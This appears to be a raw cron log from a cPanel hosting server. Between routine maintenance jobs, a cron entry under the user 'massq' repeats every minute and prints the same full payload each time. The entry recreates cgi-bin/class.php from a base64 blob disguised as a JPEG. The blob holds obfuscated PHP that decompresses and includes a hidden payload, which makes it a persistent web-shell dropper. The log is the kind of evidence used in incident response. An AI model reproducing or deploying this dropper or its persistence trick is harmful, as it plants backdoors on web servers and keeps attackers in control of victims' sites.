Sep 12 15:54:01 server CROND[26254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:55:01 server CROND[26855]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:55:01 server CROND[26857]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 15:55:01 server CROND[26859]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 15:55:01 server CROND[26860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:55:01 server CROND[26858]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 15:55:01 server CROND[26861]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:55:01 server CROND[26865]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 15:56:01 server CROND[27755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:56:01 server CROND[27757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:56:01 server CROND[27756]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:57:01 server CROND[28225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:57:01 server CROND[28226]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:57:01 server CROND[28227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:57:01 server CROND[28228]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 15:58:01 server CROND[28605]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:58:01 server CROND[28606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:58:01 server CROND[28607]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:59:01 server CROND[29067]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:59:01 server CROND[29069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:59:01 server CROND[29068]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:00:01 server CROND[29475]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 16:00:01 server CROND[29476]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 16:00:01 server CROND[29480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:00:01 server CROND[29482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:00:01 server CROND[29483]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 12 16:00:01 server CROND[29481]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 12 16:00:01 server CROND[29484]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 16:00:01 server CROND[29488]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 16:00:01 server CROND[29487]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 16:00:01 server CROND[29489]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:01:01 server CROND[30355]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 16:01:01 server CROND[30356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:01:01 server CROND[30357]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:01:01 server CROND[30358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:01:01 server run-parts(/etc/cron.hourly)[30355]: starting 0anacron
Sep 12 16:01:01 server run-parts(/etc/cron.hourly)[30378]: finished 0anacron
Sep 12 16:02:01 server CROND[30745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:02:01 server CROND[30746]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:02:01 server CROND[30747]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:03:01 server CROND[31125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:03:01 server CROND[31126]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:03:01 server CROND[31127]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:04:01 server CROND[31492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:04:01 server CROND[31491]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:04:01 server CROND[31493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:05:01 server CROND[31987]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 16:05:01 server CROND[31989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:05:01 server CROND[31991]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 16:05:01 server CROND[31996]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:05:01 server CROND[31997]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
